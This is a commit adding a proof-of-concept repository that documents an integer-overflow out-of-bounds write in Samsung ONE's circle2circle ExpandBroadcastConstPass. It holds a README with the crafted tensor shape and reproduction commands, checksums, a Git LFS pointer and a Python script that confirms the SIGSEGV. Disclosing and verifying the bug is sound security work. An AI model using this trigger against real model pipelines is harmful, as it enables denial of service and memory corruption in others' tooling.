Add Circle ExpandBroadcastConstPass OOB PoC

README.md

@@ -0,0 +1,97 @@
+---
+library_name: other
+tags:
+- security
+- model-format
+- circle
+- samsung-one
+- poc
+- benign-crash
+---
+
+# Samsung ONE Circle ExpandBroadcastConstPass OOB Write PoC
+
+This repository contains a benign model-format vulnerability proof for Samsung ONE Circle.
+The PoC does not execute code, persist state, access credentials, or make network calls; it only demonstrates a model-carried native crash in a local converter/optimizer path.
+
+## Summary
+
+`add_overflow_oob_min.circle` is a 636-byte Circle FlatBuffer with an Add graph whose model-controlled shape is `[1431655766, 3]` and constant shape is `[1, 3]`.
+
+In Samsung ONE `1.30.1`, `circle2circle --expand_broadcast_const` reaches `luci::ExpandBroadcastConstPass`. The pass multiplies output dimensions into a `uint32_t` allocation size, so `1431655766 * 3` wraps to `2`. It then uses the original dimensions as loop/index bounds, writing past the two-float allocation and crashing with SIGSEGV.
+
+The default `circle2circle` path accepts and rewrites the artifact without crashing. The companion `add_overflow_oob_min.tflite` is the same FlatBuffer with `TFL3` file identifier; `one-import-tflite` preserves the malformed shape, and the imported Circle artifact crashes the same optimizer pass.
+
+## Affected Format
+
+- Format: Samsung ONE Circle FlatBuffer (`CIR0`)
+- Tested target: Samsung ONE `onecc` `1.30.1`
+- Trigger path: `circle2circle --expand_broadcast_const`
+- Supporting import path: `one-import-tflite` followed by `circle2circle --expand_broadcast_const`
+
+GitHub marked ONE `1.30.1` as the latest release at local verification time on 2026-05-12. The current upstream `master` source also still contained the same unchecked `uint32_t constant_size` multiplication in `compiler/luci/pass/src/ExpandBroadcastConstPass.cpp`.
+
+## Security Impact
+
+The artifact controls tensor dimensions that are used in native allocation and indexing logic. The optimizer pass allocates storage for two FLOAT32 elements after unsigned wraparound, then performs indexed FLOAT32 stores using the unwrapped model dimensions. Local GDB verification placed the crash inside `libluci_pass.so` during `luci::ExpandBroadcastConstPass::run(loco::Graph*)`, faulting on an indexed float store.
+
+This should be treated as native memory corruption in a model converter/optimizer pass. It is not claimed as arbitrary code execution.
+
+## Artifacts
+
+- `add_overflow_oob_min.circle`
+  - SHA256: `16b35129a92c8250ef79bcbd5b834749af63d707917c7970d1da8a5720849a8f`
+  - Size: 636 bytes
+- `add_overflow_oob_min.tflite`
+  - SHA256: `76a03afe7e6b4d664b73444911e57c54bb1c97b8e6f7f5e38c8f88cea461e147`
+  - Size: 636 bytes
+
+## Reproduction
+
+Install or unpack Samsung ONE `onecc` `1.30.1`, then run:
+
+```bash
+export ONE_ROOT=/path/to/onecc-1.30.1
+export PATH="$ONE_ROOT/bin:$PATH"
+export LD_LIBRARY_PATH="$ONE_ROOT/lib:${LD_LIBRARY_PATH:-}"
+
+python3 verify_circle_expand_broadcast_oob.py --one-root "$ONE_ROOT"
+```
+
+Expected result:
+
+- `circle2circle_default.returncode == 0`
+- `circle2circle_expand_broadcast_const.returncode == -11` or shell status `139`
+- `one_import_tflite.returncode == 0`
+- `imported_circle2circle_expand_broadcast_const.returncode == -11` or shell status `139`
+
+Manual minimal commands:
+
+```bash
+circle2circle add_overflow_oob_min.circle /tmp/default.circle
+circle2circle --expand_broadcast_const add_overflow_oob_min.circle /tmp/expanded.circle
+```
+
+The first command should return `0`; the second should terminate with SIGSEGV.
+
+## Artifact Construction
+
+The Circle artifact was derived from a valid tiny Add graph. The PoC changes the graph input and output tensor shapes to `[1431655766, 3]`, leaves the constant shape as `[1, 3]`, and stores three FLOAT32 values in the constant buffer.
+
+The TFLite companion is the same FlatBuffer with the file identifier changed from `CIR0` to `TFL3`. This checks that the malformed shape can survive the supported TFLite import path before reaching Circle optimization.
+
+## Scanner Behavior
+
+ModelScan `0.8.8` reported zero issues and skipped the `.circle` artifact as unsupported. This is supporting scanner/runtime mismatch evidence only; the primary impact is the native converter crash.
+
+## Local Verification Notes
+
+Local verification on 2026-05-12 used Samsung ONE `1.30.1`.
+
+GDB confirmed the crash occurs inside `libluci_pass.so` during `luci::ExpandBroadcastConstPass::run(loco::Graph*)`.
+
+Known-issue checks found related Samsung ONE correctness fixes for `ExpandBroadcastConstPass`, but not this `uint32_t constant_size` wraparound leading to SIGSEGV. CVE-2026-41666 / PR #16481 is a separate runtime tensor memory-size calculation issue, not this converter-pass crash.
+
+## Limitation
+
+This is a native memory-corruption crash in an optimizer/converter pass, not arbitrary code execution.

SHA256SUMS

@@ -0,0 +1,2 @@
+16b35129a92c8250ef79bcbd5b834749af63d707917c7970d1da8a5720849a8f  add_overflow_oob_min.circle
+76a03afe7e6b4d664b73444911e57c54bb1c97b8e6f7f5e38c8f88cea461e147  add_overflow_oob_min.tflite

add_overflow_oob_min.tflite

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:76a03afe7e6b4d664b73444911e57c54bb1c97b8e6f7f5e38c8f88cea461e147
+size 636

verify_circle_expand_broadcast_oob.py

@@ -0,0 +1,177 @@
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import argparse
+import hashlib
+import json
+import os
+import shutil
+import signal
+import subprocess
+import sys
+import time
+from pathlib import Path
+from typing import Any
+
+
+ROOT = Path(__file__).resolve().parent
+ARTIFACT = ROOT / "add_overflow_oob_min.circle"
+TFLITE_ARTIFACT = ROOT / "add_overflow_oob_min.tflite"
+
+
+def sha256(path: Path) -> str:
+    return hashlib.sha256(path.read_bytes()).hexdigest()
+
+
+def run(cmd: list[str], env: dict[str, str], timeout: float, cwd: Path) -> dict[str, Any]:
+    started = time.monotonic()
+    proc = subprocess.Popen(
+        cmd,
+        cwd=cwd,
+        env=env,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+        text=True,
+        start_new_session=True,
+    )
+    try:
+        stdout, stderr = proc.communicate(timeout=timeout)
+        timed_out = False
+    except subprocess.TimeoutExpired:
+        os.killpg(proc.pid, signal.SIGTERM)
+        try:
+            stdout, stderr = proc.communicate(timeout=1)
+        except subprocess.TimeoutExpired:
+            os.killpg(proc.pid, signal.SIGKILL)
+            stdout, stderr = proc.communicate()
+        timed_out = True
+
+    return {
+        "cmd": cmd,
+        "returncode": proc.returncode,
+        "timed_out": timed_out,
+        "elapsed_sec": round(time.monotonic() - started, 3),
+        "stdout_tail": stdout[-2000:],
+        "stderr_tail": stderr[-2000:],
+    }
+
+
+def build_env(one_root: Path) -> dict[str, str]:
+    env = os.environ.copy()
+    env["PATH"] = f"{one_root / 'bin'}:{env.get('PATH', '')}"
+    env["LD_LIBRARY_PATH"] = f"{one_root / 'lib'}:{env.get('LD_LIBRARY_PATH', '')}"
+    env["PYTHONNOUSERSITE"] = "1"
+    return env
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser()
+    parser.add_argument(
+        "--one-root",
+        type=Path,
+        default=Path(os.environ.get("ONE_ROOT", "/workspace/circle/repos/onecc-1.30.1")),
+        help="Path to an unpacked Samsung ONE onecc release.",
+    )
+    parser.add_argument(
+        "--out-dir",
+        type=Path,
+        default=ROOT / "verify_outputs",
+        help="Directory for generated verification outputs.",
+    )
+    parser.add_argument("--modelscan", action="store_true", help="Run ModelScan if available.")
+    args = parser.parse_args()
+
+    args.out_dir.mkdir(parents=True, exist_ok=True)
+    env = build_env(args.one_root)
+    cwd = ROOT
+
+    results: dict[str, Any] = {
+        "artifacts": {
+            ARTIFACT.name: {"sha256": sha256(ARTIFACT), "size": ARTIFACT.stat().st_size},
+            TFLITE_ARTIFACT.name: {
+                "sha256": sha256(TFLITE_ARTIFACT),
+                "size": TFLITE_ARTIFACT.stat().st_size,
+            },
+        },
+        "commands": {},
+    }
+
+    results["commands"]["one_version"] = run(["one-version"], env, timeout=5, cwd=cwd)
+    results["commands"]["circle2circle_default"] = run(
+        ["circle2circle", str(ARTIFACT), str(args.out_dir / "default.circle")],
+        env,
+        timeout=5,
+        cwd=cwd,
+    )
+    results["commands"]["circle2circle_expand_broadcast_const"] = run(
+        [
+            "circle2circle",
+            "--expand_broadcast_const",
+            str(ARTIFACT),
+            str(args.out_dir / "expand_broadcast_const.circle"),
+        ],
+        env,
+        timeout=5,
+        cwd=cwd,
+    )
+
+    one_import = args.one_root / "bin" / "one-import-tflite"
+    if one_import.exists():
+        py = sys.executable or shutil.which("python3") or "python3"
+        imported = args.out_dir / "imported_from_tflite.circle"
+        results["commands"]["one_import_tflite"] = run(
+            [py, str(one_import), "-i", str(TFLITE_ARTIFACT), "-o", str(imported)],
+            env,
+            timeout=20,
+            cwd=cwd,
+        )
+        if imported.exists():
+            results["artifacts"][str(imported)] = {
+                "sha256": sha256(imported),
+                "size": imported.stat().st_size,
+            }
+            results["commands"]["imported_circle2circle_expand_broadcast_const"] = run(
+                [
+                    "circle2circle",
+                    "--expand_broadcast_const",
+                    str(imported),
+                    str(args.out_dir / "imported_expand_broadcast_const.circle"),
+                ],
+                env,
+                timeout=5,
+                cwd=cwd,
+            )
+
+    if args.modelscan:
+        modelscan = shutil.which("modelscan") or str(Path(sys.executable).parent / "modelscan")
+        if modelscan and not Path(modelscan).exists():
+            modelscan = None
+        if modelscan:
+            results["commands"]["modelscan"] = run(
+                [modelscan, "scan", "-p", str(ARTIFACT), "-r", "json", "--show-skipped"],
+                env,
+                timeout=60,
+                cwd=cwd,
+            )
+        else:
+            results["commands"]["modelscan"] = {"skipped": "modelscan not on PATH"}
+
+    default_ok = results["commands"]["circle2circle_default"]["returncode"] == 0
+    crash_rc = results["commands"]["circle2circle_expand_broadcast_const"]["returncode"]
+    crash_ok = crash_rc in {-11, 139}
+    imported_result = results["commands"].get("imported_circle2circle_expand_broadcast_const")
+    imported_ok = not imported_result or imported_result.get("returncode") in {-11, 139}
+
+    results["verdict"] = {
+        "default_path_ok": default_ok,
+        "expand_broadcast_const_sigsegv": crash_ok,
+        "imported_tflite_preserves_crash": imported_ok,
+        "passed": default_ok and crash_ok and imported_ok,
+    }
+
+    print(json.dumps(results, indent=2))
+    return 0 if results["verdict"]["passed"] else 1
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

verify_outputs/imported_from_tflite.circle.log

@@ -0,0 +1 @@
+/workspace/circle/repos/onecc-1.30.1/bin/tflite2circle /workspace/circle/hf_circle_expand_broadcast_oob_poc/add_overflow_oob_min.tflite /workspace/circle/hf_circle_expand_broadcast_oob_poc/verify_outputs/imported_from_tflite.circle